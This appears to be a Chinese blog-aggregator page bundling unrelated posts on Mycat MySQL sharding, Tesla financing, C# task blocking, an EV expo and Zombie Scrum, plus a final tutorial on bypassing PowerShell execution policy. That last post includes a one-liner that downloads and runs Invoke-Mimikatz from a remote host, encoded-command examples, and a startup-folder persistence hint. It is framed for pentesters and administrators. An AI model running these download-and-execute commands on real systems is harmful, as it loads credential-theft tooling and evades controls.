標籤: iphone維修

  • Linux MySQL分庫分表之Mycat

    Linux MySQL分庫分表之Mycat

    介紹

    背景

    • 表的個數達到了幾百千萬張表時,眾多的業務模塊都訪問這個數據庫,壓力會比較大,考慮對其進行分庫
    • 表的數據達到幾千萬級別,在做很多操作都比較吃力,考慮對其進行分庫或分表

    數據切分(sharding)方案

      數據的切分(Sharding)根據其切分規則的類型,可以分為兩種切分模式:

    • 垂直切分:按照業務模塊進行切分,將不同模塊的表切分到不同的數據庫中
    • 水平切分,將一張大表按照一定的切分規則,按照行切分成不同的表或者切分到不同的庫中

    如何理解垂直切分?

      垂直分庫:主要解決的問題是單個數據庫中[數據表]過多問題

      垂直分表:主要解決的問題是單個中[過多問題(將一張大表,拆分不同的關聯表)。

    如何理解水平切分?

      水平切分主要解決的問題就是對於[單表數據量過大]的問題(1000W以上數據性能會有所下降)

    切分原則

    1. 能不切盡量不要切分
    2. 如果要切分一定要選擇合適的切分規則,提前規劃好
    3. 數據切分盡量通過冗餘或表分組(Table Group)來降低跨庫Join的可能
    4. 由於數據庫中間件對數據Join實現的優劣難以把握,而且實現高性能難度極大,業務讀取盡量少使用多表Join

    分庫分表之後帶來問題?

    1. 跨庫Join:訂單表需要關聯會員信息(訂單表和會員表拆分為兩個庫的表)
      1. 應用層由一個查詢拆分為多個
      2. 全局表,每個庫都存儲相同的數據,比如字典表、地址表
      3. 字段冗餘
      4. Mycat技術可以實現跨庫Join,只能實現2張表跨庫Join
    2. 分佈式事務(Mycat沒有很好實現分佈式事務)
      1. 強一致性(互聯網項目不推薦,性能不好)
      2. 最終一致性(異步方式去實現,需要通過日誌信息)
    3. 主鍵問題(保證ID的連續性和唯一性)
      1. UUID(性能不好)
      2. redis incr命令
      3. zookeeper
      4. 雪花算法
    4. 跨庫進行排序問題
      1. 在應用層進行排序

    Mycat應用

    官網鏈接

    點我直達

    Mycat核心概念

    • Schema:由它制定邏輯數據庫(相當於MySQL的database數據庫)
    • Table:邏輯表(相當於MySQL的table表)
    • DataNode:真正存儲數據的物理節點
    • DataHost:存儲節點所在的數據庫主機(指定MySQL數據庫的連接信息)
    • User:MyCat的用戶(類似於MySQL的用戶,支持多用戶)

    MyCat主要解決的問題

    • 海量數據存儲
    • 查詢優化

    Mycat對數據庫的支持

    Mycat安裝

    安裝要求

    • jdk:要求jdk必須是1.7及以上版本 (我使用的是jdk 1.8

    • Mysql:推薦mysql是5.5以上版本(我使用的是mysql 5.7

    安裝jdk

    具體教程:點我直達

    Mcat下載

    下載鏈接:點我直達

    百度雲盤地址:https://pan.baidu.com/s/14A3BAwnBRGZppc3AicF5Hw  密碼: gkrp

    解壓

    修改配置文件

    路徑:/cyb/soft/mycat/conf

    server.xml

    用途:用於配置用戶信息

    <?xml version="1.0" encoding="UTF-8"?>
    <!-- - - Licensed under the Apache License, Version 2.0 (the "License"); 
        - you may not use this file except in compliance with the License. - You 
        may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 
        - - Unless required by applicable law or agreed to in writing, software - 
        distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT 
        WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the 
        License for the specific language governing permissions and - limitations 
        under the License. -->
    <!DOCTYPE mycat:server SYSTEM "server.dtd">
    <mycat:server xmlns:mycat="http://io.mycat/">
        <system>
        <property name="useSqlStat">0</property>  <!-- 1為開啟實時統計、0為關閉 -->
        <property name="useGlobleTableCheck">0</property>  <!-- 1為開啟全加班一致性檢測、0為關閉 -->
    
            <property name="sequnceHandlerType">2</property>
          <!--  <property name="useCompression">1</property>--> <!--1為開啟mysql壓縮協議-->
            <!--  <property name="fakeMySQLVersion">5.6.20</property>--> <!--設置模擬的MySQL版本號-->
        <!-- <property name="processorBufferChunk">40960</property> -->
        <!-- 
        <property name="processors">1</property> 
        <property name="processorExecutor">32</property> 
         -->
            <!--默認為type 0: DirectByteBufferPool | type 1 ByteBufferArena-->
            <property name="processorBufferPoolType">0</property>
            <!--默認是65535 64K 用於sql解析時最大文本長度 -->
            <!--<property name="maxStringLiteralLength">65535</property>-->
            <!--<property name="sequnceHandlerType">0</property>-->
            <!--<property name="backSocketNoDelay">1</property>-->
            <!--<property name="frontSocketNoDelay">1</property>-->
            <!--<property name="processorExecutor">16</property>-->
            <!--
                <property name="serverPort">8066</property> <property name="managerPort">9066</property> 
                <property name="idleTimeout">300000</property> <property name="bindIp">0.0.0.0</property> 
                <property name="frontWriteQueueSize">4096</property> <property name="processors">32</property> -->
            <!--分佈式事務開關,0為不過濾分佈式事務,1為過濾分佈式事務(如果分佈式事務內只涉及全局表,則不過濾),2為不過濾分佈式事務,但是記錄分佈式事務日誌-->
            <property name="handleDistributedTransactions">0</property>
            
                <!--
                off heap for merge/order/group/limit      1開啟   0關閉
            -->
            <property name="useOffHeapForMerge">1</property>
    
            <!--
                單位為m
            -->
            <property name="memoryPageSize">1m</property>
    
            <!--
                單位為k
            -->
            <property name="spillsFileBufferSize">1k</property>
    
            <property name="useStreamOutput">0</property>
    
            <!--
                單位為m
            -->
            <property name="systemReserveMemorySize">384m</property>
    
    
            <!--是否採用zookeeper協調切換  -->
            <property name="useZKSwitch">true</property>
    
    
        </system>
        
        <!-- 全局SQL防火牆設置 -->
        <!-- 
        <firewall> 
           <whitehost>
              <host host="127.0.0.1" user="mycat"/>
              <host host="127.0.0.2" user="mycat"/>
           </whitehost>
           <blacklist check="false">
           </blacklist>
        </firewall>
        -->
        
        <user name="root">
            <property name="password">root</property>
            <property name="schemas">TESTDB</property>
            
            <!-- 表級 DML 權限設置 -->
            <!--         
            <privileges check="false">
                <schema name="TESTDB" dml="0110" >
                    <table name="tb01" dml="0000"></table>
                    <table name="tb02" dml="1111"></table>
                </schema>
            </privileges>        
             -->
        </user>
    
        <user name="user">
            <property name="password">user</property>
            <property name="schemas">TESTDB</property>
            <property name="readOnly">true</property>
        </user>
    
    </mycat:server>

    schema.xml

    用途:管理邏輯表

    為了演示方便,刪掉一些不必要的標籤,標籤詳細用法:點我直達

    <?xml version="1.0"?>
    <!DOCTYPE mycat:schema SYSTEM "schema.dtd">
    <mycat:schema xmlns:mycat="http://io.mycat/">
    
        <schema name="TESTDB" checkSQLschema="true" sqlMaxLimit="100">
            <!-- auto sharding by id (long) -->
            <table name="cyb_test" dataNode="dn1,dn2,dn3" rule="mod-long" />
        </schema>
        <dataNode name="dn1" dataHost="localhost1" database="db1" />
        <dataNode name="dn2" dataHost="localhost1" database="db2" />
        <dataNode name="dn3" dataHost="localhost1" database="db3" />
        <dataHost name="localhost1" maxCon="1000" minCon="10" balance="0"
                  writeType="0" dbType="mysql" dbDriver="native" switchType="1"  slaveThreshold="100">
            <heartbeat>select user()</heartbeat>
            <!-- can have multi write hosts -->
            <writeHost host="hostM1" url="192.168.31.200:3306" user="root"
                       password="root">
                <!-- can have multi read hosts -->
                <readHost host="hostS2" url="192.168.31.201:3306" user="root" password="root" />
            </writeHost>
        </dataHost>
    </mycat:schema>

    rule.xml

    用途:定義了我們對錶進行拆分所涉及到的規則定義,視情況修改參數

    <?xml version="1.0" encoding="UTF-8"?>
    <!-- - - Licensed under the Apache License, Version 2.0 (the "License"); 
        - you may not use this file except in compliance with the License. - You 
        may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 
        - - Unless required by applicable law or agreed to in writing, software - 
        distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT 
        WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the 
        License for the specific language governing permissions and - limitations 
        under the License. -->
    <!DOCTYPE mycat:rule SYSTEM "rule.dtd">
    <mycat:rule xmlns:mycat="http://io.mycat/">
        <tableRule name="rule1">
            <rule>
                <columns>id</columns>
                <algorithm>func1</algorithm>
            </rule>
        </tableRule>
    
        <tableRule name="rule2">
            <rule>
                <columns>user_id</columns>
                <algorithm>func1</algorithm>
            </rule>
        </tableRule>
    
        <tableRule name="sharding-by-intfile">
            <rule>
                <columns>sharding_id</columns>
                <algorithm>hash-int</algorithm>
            </rule>
        </tableRule>
        <tableRule name="auto-sharding-long">
            <rule>
                <columns>id</columns>
                <algorithm>rang-long</algorithm>
            </rule>
        </tableRule>
        <tableRule name="mod-long">
            <rule>
                <columns>id</columns>
                <algorithm>mod-long</algorithm>
            </rule>
        </tableRule>
        <tableRule name="sharding-by-murmur">
            <rule>
                <columns>id</columns>
                <algorithm>murmur</algorithm>
            </rule>
        </tableRule>
        <tableRule name="crc32slot">
            <rule>
                <columns>id</columns>
                <algorithm>crc32slot</algorithm>
            </rule>
        </tableRule>
        <tableRule name="sharding-by-month">
            <rule>
                <columns>create_time</columns>
                <algorithm>partbymonth</algorithm>
            </rule>
        </tableRule>
        <tableRule name="latest-month-calldate">
            <rule>
                <columns>calldate</columns>
                <algorithm>latestMonth</algorithm>
            </rule>
        </tableRule>
        
        <tableRule name="auto-sharding-rang-mod">
            <rule>
                <columns>id</columns>
                <algorithm>rang-mod</algorithm>
            </rule>
        </tableRule>
        
        <tableRule name="jch">
            <rule>
                <columns>id</columns>
                <algorithm>jump-consistent-hash</algorithm>
            </rule>
        </tableRule>
    
        <function name="murmur"
            class="io.mycat.route.function.PartitionByMurmurHash">
            <property name="seed">0</property><!-- 默認是0 -->
            <property name="count">2</property><!-- 要分片的數據庫節點數量,必須指定,否則沒法分片 -->
            <property name="virtualBucketTimes">160</property><!-- 一個實際的數據庫節點被映射為這麼多虛擬節點,默認是160倍,也就是虛擬節點數是物理節點數的160倍 -->
            <!-- <property name="weightMapFile">weightMapFile</property> 節點的權重,沒有指定權重的節點默認是1。以properties文件的格式填寫,以從0開始到count-1的整數值也就是節點索引為key,以節點權重值為值。所有權重值必須是正整數,否則以1代替 -->
            <!-- <property name="bucketMapPath">/etc/mycat/bucketMapPath</property> 
                用於測試時觀察各物理節點與虛擬節點的分佈情況,如果指定了這個屬性,會把虛擬節點的murmur hash值與物理節點的映射按行輸出到這個文件,沒有默認值,如果不指定,就不會輸出任何東西 -->
        </function>
    
        <function name="crc32slot"
                  class="io.mycat.route.function.PartitionByCRC32PreSlot">
            <property name="count">2</property><!-- 要分片的數據庫節點數量,必須指定,否則沒法分片 -->
        </function>
        <function name="hash-int"
            class="io.mycat.route.function.PartitionByFileMap">
            <property name="mapFile">partition-hash-int.txt</property>
        </function>
        <function name="rang-long"
            class="io.mycat.route.function.AutoPartitionByLong">
            <property name="mapFile">autopartition-long.txt</property>
        </function>
        <function name="mod-long" class="io.mycat.route.function.PartitionByMod">
            <!-- how many data nodes -->
            <property name="count">3</property>
        </function>
    
        <function name="func1" class="io.mycat.route.function.PartitionByLong">
            <property name="partitionCount">8</property>
            <property name="partitionLength">128</property>
        </function>
        <function name="latestMonth"
            class="io.mycat.route.function.LatestMonthPartion">
            <property name="splitOneDay">24</property>
        </function>
        <function name="partbymonth"
            class="io.mycat.route.function.PartitionByMonth">
            <property name="dateFormat">yyyy-MM-dd</property>
            <property name="sBeginDate">2015-01-01</property>
        </function>
        
        <function name="rang-mod" class="io.mycat.route.function.PartitionByRangeMod">
                <property name="mapFile">partition-range-mod.txt</property>
        </function>
        
        <function name="jump-consistent-hash" class="io.mycat.route.function.PartitionByJumpConsistentHash">
            <property name="totalBuckets">3</property>
        </function>
    </mycat:rule>

    啟動mycat

    進入mycat/bin,啟動mycat
    
    啟動命令:./mycat start
    停止命令:./mycat stop
    重啟命令:./mycat restart
    查看狀態命令:./mycat status

    注意,可以使用mysql的客戶端直接連接mycat服務,默認端口為8066

    錯誤日誌(重要)

      部署過程中,我碰到點小問題,找不到主機名,具體解決方案,請看我另一篇:點我直達 ,如果Mycat服務起不來,記得看錯誤日誌喲!

    測試

    ip:192.168.31.200(mysql主服務器)

    ip:192.168.31.201(mysql從服務器)

    ip:192.168.31.209(mycat服務器)

      注:演示過程中,因為mysql搭建了集群,主從複製,可能網絡原因,有些延遲,或者mysql主從複製同步機制問題,導致刷新好幾次,才显示出來,因為圖片較大,被分割幾張gif,內容都是連續的,驗證結果,達到預期,演示成功!

      MySQL集群搭建主從複製:點我直達

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • 迎接Model 3試產,Tesla發股債籌資11.5億美元

    迎接Model 3試產,Tesla發股債籌資11.5億美元

    美國電動車大廠特斯拉(Tesla)15 日公布最新增資計畫,由於即將進入Model 3 電動車的試產階段,預計將透過發行股票和優先債券融資11.5 億美元(約355 億台幣)。

    華爾街日報(Wall Street Journal)報導,特斯拉預計將發行2.5 億美元普通股及7.5 億美元可轉換優先債券來籌措資金,執行長馬斯克(Elon Musk)本人也將認購2,500 美元的普通股,所得資金將用來強化資產負債表,並降低近期業務擴張可能帶來的風險。

    特斯拉表示,2016 年共生產了8.4 萬輛汽車,未來也將持續投資、創造產品並提升產能,希望至2018 年底總產量能達到50 萬輛,2020 年則達到100 萬輛。在公布計畫後,特斯拉盤後股價上漲2.3% 至261.5 美元。

    報導指出,不僅是汽車,馬斯克也計畫將電動車運用在更多車款上,如公共汽車及載貨卡車;隨著去年收購SolarCity Corp,馬斯克希望未來將特斯拉打造成一家永續能源公司,提供包含電動車、電池及太陽能發電在內相關產品。

    AutoCar 網站則提到,除了今年將試產的Model 3 電動車,特斯拉也已經在著手進行另一部迷你SUV 車款Model Y 的開發,相對於特斯拉其他車款來說,Model Y 和Model 3 一樣將會相對平價,市場估計Model 3 售價約為3.7 萬美元(約113 萬台幣),考量到迷你SUV 的機能與客群的不同,Model Y 的售價可能將再比Model 3 車款高上數千美元。

     

    ▲由 Autocar 製作的 Model Y 概念圖

    (合作媒體:。首圖來源:Tesla)

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • Task.Result跟 Task.GetAwaiter.GetResult()相同嗎?怎麼選?

    前幾天在用線程池執行一些任務時運到一種情形,就是回調方法中使用到了異步方法,但是回調方法貌似不支持async await的寫法。這時候我應該如何處理呢?是使用Task.Result來獲取返回結果,還是使用GetAwaiter.GetResult()呢?本文就來探討下吧。

    作者:依樂祝

    原文地址:https://www.cnblogs.com/yilezhu/p/13168337.html

    這裏先上我這種場景的偽代碼:

    ThreadPool.QueueUserWorkItem(ExcuteScanProcess, node);
    

    ExcuteScanProcess這個回調方法中

    private void ExcuteScanProcess(object state)
    {
        ……其他處理……
        repository.UpdateAsync(node).ConfigureAwait(false).GetAwaiter().GetResult();
        ……其他處理……
    }
    

    如上圖所示repository.UpdateAsync(node)屬於一部方法,這時候我想要等待它異步執行完成之後再執行後續的邏輯。這時候我有兩種選擇,是直接

    repository.UpdateAsync(node).ConfigureAwait(false).GetAwaiter().GetResult();
    

    好呢,還是

    repository.UpdateAsync(node).ConfigureAwait(false).Result;
    

    好呢?

    為此我查找了相關的資料,對它倆的區別做一個簡單的總結:

    其實這兩個使用方式是差不多的。不過,還是有一點小小的區別的:如果任務失敗,Task.GetAwaiter().GetResult()會直接拋出異常,而Task.Result則會把異常包裝在AggregateException中。從這個角度說Task.GetAwaiter().GetResult()要優於Task.Result。畢竟它少了異常的包裝操作,即直接拋出異常,而不是把異常包裝在AggregateException中。

    下面的引言解釋了為什麼Task.Result不僅僅包含Task.GetAwaiter().GetResult()(由於“非常高的兼容性”)的異常傳播行為。

    如前所述,我們有一個非常高的兼容性標準,因此我們避免了改動。因此,Task.Wait保留了始終包裝的原始行為。但是,您可能會發現自己處在某些高級情況下,這些情況下您想要的行為類似於所採用的同步阻塞Task.Wait,但是您希望將原始異常展開而不是傳播,而不是將其封裝在AggregateException中。為此,您可以直接定位任務的等待者。當您編寫“ await task;”時,編譯器Task.GetAwaiter()會將其轉換為方法的用法,這將返回具有GetResult()方法的實例。當用於有故障的任務時,GetResult()將傳播原始異常(這是“ await task;” 如何獲得其行為)。因此,您可以使用“task.GetAwaiter().GetResult()如果您想直接調用此傳播邏輯。

    https://blogs.msdn.microsoft.com/pfxteam/2011/09/28/task-exception-handling-in-net-4-5/

    GetResult”實際上表示“檢查任務是否有錯誤”

    通常,我會儘力避免對異步任務進行同步阻塞。但是,在少數情況下,我確實違反了該準則。在那些罕見的情況下,我的首選方法是GetAwaiter().GetResult()因為它保留任務異常,而不是將它們包裝在中AggregateException

    總結

    通過上述內容的闡述,因此在那些必須對異步任務進行同步阻塞的場景中,我選擇使用GetAwaiter().GetResult()

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • 2017中國國際新能源汽車產業博覽會

    展會城市:
    深圳、上海
    展會開始日期:
    深圳:2017/6/16
    上海:2017/8/23
    展會結束日期:
    深圳:2017/6/18
    上海:2017/8/25

    2017新能源汽車產業博覽會將於2017年6月16-18日,8月23-25日分別在深圳會展中心及上海新國際博覽中心舉行,本屆展會預計累計展示面積達7萬平米,展商超過800家,專業觀眾超過6萬人次,全產業鏈展示實現無縫對接。

    展會以展覽展示及技術交流為主題,組委會將重點邀請新能源汽車生產企業及核心三電(電池、電機、電控)企業參與。新能源汽車領域包括:比亞迪、北汽、上汽、宇通、金龍、青年客車、福田、中通、東風、力帆等;電池領域包括:國軒、寧德時代、力神、沃特瑪、邁科等;電機電控領域包括:寶馬、中國南車、大洋電機、中科三環、上海大郡、上海電驅動、浙江尤奈特、深圳大地和、大連機電、東風機電、南洋機電、精進電動等。

    振威展覽【股票代碼:834316】是中國規模最大的民營展覽公司,深耕行業20年,于北京、天津、廣州、西安、成都、新疆分別設有全資子公司。每年承接20多個大型政府展會,累積了豐富的政府資源和關係網絡。為打通新能源汽車產業各大環節的壁壘,振威展覽聯合中國土木工程學會城市公共交通學會、廣東省充電設施協會、充電設施線上網,共同打造中國新能源汽車產業第一展。

    主辦方積累了豐富的資源,本屆展會得到了上海市經信委、江蘇省經信委、浙江省經信委、武漢市經信委、廣州市經信委等政府部門的高度關注與大力支持。此外,展會還將重點邀請各地公交集團、旅遊公司、計程車運營公司、汽車租賃企業、大型物流公司、市政環衛公司等組團參觀交流,迅速實現供需對接。

    兩地展會同期均舉辦2017振威新能源汽車產業峰會,峰會圍繞當前最熱門話題展開討論。如何更好的實現市場驅動,如何提高整個產業的核心競爭力,都是需要我們共同思考的問題。為此,組委會將邀請來自新能源汽車產業各個領域的知名專家學者、領軍企業高層與政府代表、協會代表,共同探討新形勢下如何更好的提升市場化水準,如何提升企業核心競爭力、深化全產業鏈的交流與合作,實現共贏的局面。

    參展範圍

    新能源汽車

    純電動車:純電動客車、純電動城市物流車、純電動乘用車、純電動環衛車等;
    混合動力車:混合動力轎車、插電混合動力大巴等;
    其他:氫燃料電池汽車、增程式電動車等;

    新能源汽車核心零部件及配套

    動力集成:電動機、整車控制器、功率轉換器、傳動裝置、電池組、BMS、啟停電源、移動車載充電器、充電樁等;
    解決方案:整車設計、輕量化底盤、變速動力系統、直驅動力系統等;
    配套產品:磁性材料、連接器、飛輪、超級電容、相關新材料、相關檢測設備等。

    聯繫方式:
    廣州振威國際展覽有限公司
    電話:+86 20 8395 3286
    手機(微信):+86 135 3358 3989
    聯絡人:黃俊鵬
    E-mail:Johnny@zhenweiexpo.com

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • 效率思維模式與Zombie Scrum

    效率思維模式與Zombie Scrum

    Scrum是由Ken Schwaber和Jeff Sutherland在20世紀90年代提出的概念,並在1995年首次正式確定。起初Scrum是為了解決產品和軟件開發固有的複雜性,然而現在Scrum被成功地應用於市場營銷、組織變革和科學研究等多個領域的複雜問題。

    Scrum主要建立在以下三個原則的基礎上:

    • 透明度:你需要收集數據(比如一些指標、團隊成員的反饋或其他團隊的經驗之談),從而找到你的目標。
    • 檢查:你需要和大家一起監督迭代的進度,並決定迭代完成的標準是什麼。
    • 適應:你需要做出改變,希望能更好更快地完成你的目標。

    在實施Scrum之前首先要用一段時間來定義和調整這些規則,以發現工作中的問題,找到可以改善的方向,這裏說的問題不是那種一年一次或項目完成時才發生的問題,而是每天、每周或每月都在持續發生的問題。我們不是將我們的決策建立在對可能永遠不會發生的潛在風險的假設上,而是根據我們收集到的數據來做決策,這就是所謂的經驗主義。

    Scrum的價值?

    當你需要接受你並不了解和無法控制一切的時候,Scrum提供的經驗方法就會變得非常有用。也正因如此,你會改變之前的想法,雖然可能會犯錯,但也會有新的、有價值的想法出現,而這些是你從未考慮過的。與其在前期制定一個精確的計劃,然後無論如何都要堅持下去,不如把你的想法當作假設或假說,用Scrum的方式來驗證。

    Scrum可以讓你快速了解自己是否偏離了軌道,是否需要做出調整,而不是簡單地按照計劃行事,你可以先解決你目前面臨的最大風險。當你在一個不確定的、不斷變化的環境中工作時,這一點尤為重要。你一開始的假設在當時可能是絕對正確的,但是當你在開發產品的時候,環境可能會發生很大的變化,以至於你的整個方案都失敗。在一個漫長的項目結束的時候,經驗主義的方法並不是災難性的失敗,而是將其降低為一個小的減速帶,需要你修正一下方向。

    所以,實際上Scrum是降低了複雜的、適應性問題、固有的不可預測性和不確定性的風險。它允許你不斷地驗證你仍然在做正確的事情,並朝着解決你設定的目標前進。更好的是,你現在有了一個积極發現更好想法的過程,並將其納入到下一步的塑造中。現在,不確定性反而變成了一件好事,因為其中蘊含着所有的可能性。

    “Scrum降低了複雜的、適應性問題固有的不可預測性和不確定性的風險。”

    Zombie Scrum和效率思維模式

    那麼,Zombie Scrum與這一切有什麼聯繫呢?我們發現一個現象:人們使用Scrum的起因很多都是錯誤的。當你問一個Zombie Scrum組織中的人,他們希望從Scrum中得到什麼時,你會聽到諸如 “更快”、”更多的大腦”、”更多的產出 “和 “更高的效率”。這與 “敏捷 “這個詞的實際含義是非常不同的。這與Scrum的設計目的也大相徑庭。這種矛盾從何而來?

    傳統的組織管理和產品開發方式是為了實現與敏捷性相反的目標,這種心理模式通常被稱為 “效率思維模式”。它的目的是盡可能地減少不確定性,提高可預測性,推動效率的提高。這通常表現為會制定詳細的計劃,通過協議和程序使工作標準化,高度的任務專業化,以及衡量效率(如每天的工作量、出現的問題) 。這種思維模式當然可以在工作相當重複和簡單的環境中發揮作用,比如流水線化的工作或某些行政工作,但在人們處理複雜的、適應性強的問題的環境中肯定行不通,因為這些問題本身就具有不可預測性和不確定性。

    “效率思維模式的目的是盡可能地減少不確定性,提高可預測性,推動效率的提高。”

    Zombie Scrum與領導強烈關注績效和工作量是有很大關係的,但最終客戶是否滿意?是否交付了有價值的東西?卻無人問津。而且,這種思維模式在很多企業中是根深蒂固的,它已經成為一個我們不需要討論的 “真相”。這樣的企業是想試圖用Scrum來影響效率、速度和產出的角度來理解它是有道理的,只不過當發現Scrum似乎並沒有做到這一點時,人們就會感到失望。

    從非常廣泛的意義上來說,Scrum關注的更多是效率,而不是高效。效率是為了盡可能多的完成工作(產出),而高效則是為了工作的價值和有用性(結果)。雖然完全有可能通過Scrum提高效率,但這既不是承諾也不是目標。

    在充斥着 “Zombie Scrum”的環境中,大家是很看重“效率思維”的,以至於人們只看到Scrum的結構性元素:角色、事件和工件。他們沒有看到也沒有體會到這個過程的價值。這就是為什麼Zombie Scrum只是看起來像Scrum,但沒有其精髓。

    “Scrum更關注的是有效(結果),而不是高效(產出)。”

    在這篇文章中,我們提到了Scrum的三個原則,如何在必要的時候重複進行,以捕捉工作中出現的偏差、意外發現和潛在機會。Scrum中的所有內容都是圍繞這三個支柱設計的。這也是經驗主義發揮作用的原因。採用Zombie Scrum的組織,往往有一種效率思維,目標是盡可能減少不確定性,提高可預測性,推動效率。這與在複雜工作中學習和發現的經驗主義過程相矛盾。

    原文作者:Barry Overeem

    翻譯整理:Worktile

    Worktile 官網:worktile.com

    文章首發於「Worktile官方博客」,轉載請註明出處。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • 繞過PowerShell執行策略方法

    繞過PowerShell執行策略方法

    前言:

    默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

     

    什麼是PowerShell執行策略?

    PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

     

    為什麼我們要繞過執行政策?

    因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

    Windows原生支持
    能夠調用Windows API
    能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
    能夠避免被反病毒工具檢測
    大多數應用程序白名單解決方案已將其標記為“受信任”
    一種用於編寫許多開源Pentest工具包的媒介

     

    如何查看執行策略

    在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

    Get-ExecutionPolicy

     

     

    同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

    Get-ExecutionPolicy -List | Format-Table -AutoSize

     

     

    我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

    Set-ExecutionPolicy Restricted

     

     

    繞過PowerShell執行策略

    1、直接在Interactive PowerShell控制台中輸入powershell代碼
    複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

    Write-Host “It’s run!”;

     

     

    2、echo腳本並將其通過管道傳遞到PowerShell
    簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

    Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

     

     

    3、從文件讀取腳本並通過管道傳輸到PowerShell
    使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

    例1:Get-Content Powershell命令

    Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    例2:Type 命令

    type .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    4、從遠程下載腳本並通過IEX執行
    這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

    如無法使用github下載可換vps:

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

     

     

    5、使用使用command命令
    這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

    例1:完整的命令

    Powershell -command “Write-Host “Its run!””;

     

     

    示例2:簡短命令(-c)

    Powershell -c “Write-Host “It’s run!’”

    可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

     

     

    6、使用EncodeCommand命令
    這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

    例1: 完整的命令

    $command = “Write-Host ‘Its run!’”

    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

    $encodedCommand = [Convert]::ToBase64String($bytes)

    $encodedCommand

    powershell.exe -EncodedCommand $encodedCommand

     

     

    示例2:通過簡短的命令使用編碼字符串

    powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

     

     

    7、使用Invoke-Command命令
    這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

